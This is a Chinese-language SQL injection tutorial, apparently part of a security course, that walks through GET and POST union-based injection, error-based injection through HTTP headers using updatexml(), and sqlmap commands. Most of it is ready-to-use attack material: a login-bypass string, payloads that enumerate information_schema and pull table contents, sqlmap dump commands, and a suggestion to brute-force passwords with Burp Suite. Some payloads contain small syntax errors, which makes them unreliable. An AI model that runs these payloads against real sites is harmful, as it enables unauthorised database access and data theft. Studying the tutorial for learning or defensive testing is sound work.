网络安全从入门到精通(第四章-2)GET&POST&HEAD注入
本文内容:
- GET注入
- POST注入
- Head注入
- sqlmap工具注入
get&post为显错注入:
head为报错注入:
1,GET注入:
get注入属于显错注入。
1.判断注入点:
最古老的的方法是:
http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。
http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误。
最简单的判断方法是:
http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。
http://www.xxx.com/new.php?id=1 and 1=1' 页面显示错误。
使用以上两个方法可能会被ban,然后我们还可以进行其他判断方法,比如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1页面显示id=1的新闻
或者直接or sleep(5)
我们在判断出某地方存在sql注入后,就要建立模型,想想这个sql注入的sql语句会是什么样的。
我们从一个表里获取其他表里的数据,应该怎么做?
联合查询
但是使用联合查询,是需要条件的。我们应该怎么做呢?
具体看以下流程:
2.GET注入基本流程:
msql注入:
1.判断是否存在sql注入
and 1=1
and 1=2
2.判断当前页面字段数:
id=1 order by 1,2,3……
3.判断回显点:加入回显点是3
http://www.xxx.com/new.php?id=1 union select 1,2,3……
4.查询当前数据库:
http://www.xxx.com/new.php?id=1 union select database()
5.查询当前表名:
http://www.xxx.com/new.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
6.查询当前字段名:
http://www.xxx.com/new.php?id=1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名"
7.查询字段内容:
http://www.xxx.com/new.php?id=1 union select1,2,group_concat(查询得出的字段名) from 查询得出的表名
解释:
1.因为联合查询需要相同的字段数,所以一开始我就先进行了字段数的判断,使用的是order by。
2.因为GET注入属于显错注入,所以我们要判断它的回显点,这样方便看查询的内容。
3.select database(),是msql查询当前数据库的sql语句,学过mysql的应该没有什么问题。
4.然后就是查询表、和查询字段了,是因为mysql在5.0以上版本中加入了information_schema这个系统自带库,其中保存着关于mysql服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。
information_schema.tables实际上是选中information_schema库中的tables表
information_schema.columns存放字段名和表名的对应。
5.网站有些时候如果数据库查询出多行数据,它只有输出第一行,所以我们group_concat(),将查询到的数据,一行显示。
以上就是GET注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。
2,POST注入:
1.注入攻击的本质,是把用户输入的数据当做代码执行。
关键条件:
用户能够控制输入
原本程序要执行的代码,拼接了用户输入的数据。
POST:注入属于显错注入的一种。
POST注入就是使用POST进行传参注入,本质上和GET类型没有什么区别。
POST注入高危点:
登录框、查询框等各种和数据库有交互的框。
最经典的POST注入判断,莫过于万能密码' or 1=1 #
在可以看到代码的情况,就可以它的sql语句是否进行敏感处理。
2.POST注入的基本流程:
mysql注入:
1.判断是否存在SQL注入:
' or 1=1#
2.判断当前页面字段数:
' or order by 1,2,3……#
3.判断回显点:加入回显点是3
' or union select 1,2,3……#
4.查询当前数据库:
' or union select database() #
5.查询当前表名:
' or union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.查询当前字段名:
' or union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名" #
7.查询字段内容:
' or union select1,2,group_concat(查询得出的字段名) from 查询得出的表名 #
解释:
1.基本流程与GET注入一样,就是判断是否存在注入的方式有所不同。
2.进行判断是否存在sql注入,字符串闭合时,一定要注意代码中前字符串是单引号还是双引号。
以上就是POST注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。
3,HEAD注入介绍
PHP全局变量-超全局变量:
PHP中许多预定义变量“超全局的”,这意味着它们在一个脚本中的都可调用。
$_REQUSET[获取GET|POST|COOKIE 在新版本中已经无法获取了]
$_POST[获取POST传参]
$_GET[获取GET传参]
$_SERVER[包含了注入头信息(header)、路径(path)、以及脚本位置(script locations)等等信息]
$_SERVER功能非常强大。
常用:
$_SERVER['HTTP_REFERER'] 获取Referer请求头数据。
$_SERVER['HTTP_USER_AGENT']获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER['REMOTE_ADDR']浏览网页的用户IP。
HEAD注入是将采集到的信息放入数据库中,相当于插入语句,[插入语句是没有回显的]。
没有回显,就不能通过联合查询了,因为没有输出,这种情况:1使用报错注入2.盲注。
这里我们就要介绍一个新函数了:updatexml()
语法:updatexml(目标xml内容,xml文档,更新的内容)
举例:updatexml(1,concat(0x7e,(select database()),0x7e),1),)#
0x7e是一个特殊符号,然后不符合路径规则报错]。
0x:代表十六进制
7e:代表~符号
1.HEAD注入基本流程:一般情况下是在登录成功之后,如果不知道账号和密码,可以使用burpsuite爆破一下。
head注入就需要使用到我们的抓包工具:BurpSuite了
head注入需要看是用什么方式获取信息比如:HTTP_REFERER、USER_AGENT、REMOTE_ADDR
以HTTP_REFERER、USER_AGENT、X_FORWAREDE_FOR为例:
假如:HEAD注入,sql插入语句为两个参数。
mysql注入:
1.抓包。
2.判断是否存在sql注入:
在抓包数据内添加代码, ' updatexml(1,concat(0x7e(select database()),0x7e),1)1,)#
如果是user_agent就在user_agent处添加,
如果是referer就在referer处添加,只是添加位置不同而已。
如果是x_forwarede_for,就在数据包内添加x_forwarede_for,在将代码添加上
3.查询表:
updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())0x7e),1),1)#
4.查询字段:
updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="查询得出表")0x7e),1),1)#
5.查询内容:
updatexml(1,concat(0x7e,(select group_concat(查询得出字段名)from 查询得出表名)0x7e),1),1)#3
补充:x_forwarede_for是用来识别通过HTTP代码或负载均衡方式连接到web服务器的客户端最原始的IP地址的HTTP。
upadatexml()是往数据插入两个~,一个在开始,一个在结尾,可以通过这种方式查看,是否对输出长度做了设置。
4,使用sqlmap注入基本流程:
方式一:
1.查看是否存在注入,是什么类型的注入
sqlmap -u url --form
2.爆库:
sqlmap -u url --form --dbs
3.爆表:
sqlmap -u url --form --tables -D 库名
4.爆字段:
sqlmap -u url --form --columns -T 表名 -D 库名
5.爆内容:
sqlmap -u url --form --dump -C 字段名 -T 表名 -D 库名
方式二:可以使用burpsuite抓包,存到txt文档中
假设burpsuite抓包存的txt文档名字是1.txt
使用抓了数据包,测试注入点,需要加*,精准打击。
1.查看是否存在注入,是什么类型的注入
sqlmap -r /root/桌面/1.txt
2.爆库:
sqlmap -r /root/桌面/1.txt --dbs
3.爆表:
sqlmap -r /root/桌面/1.txt --tables -D 库名
4.爆字段:
sqlmap -r /root/桌面/1.txt --columns -T 表名 -D 库名
5.爆内容:
sqlmap -r /root/桌面/1.txt --dump -C 字段名 -T 表名 -D 库名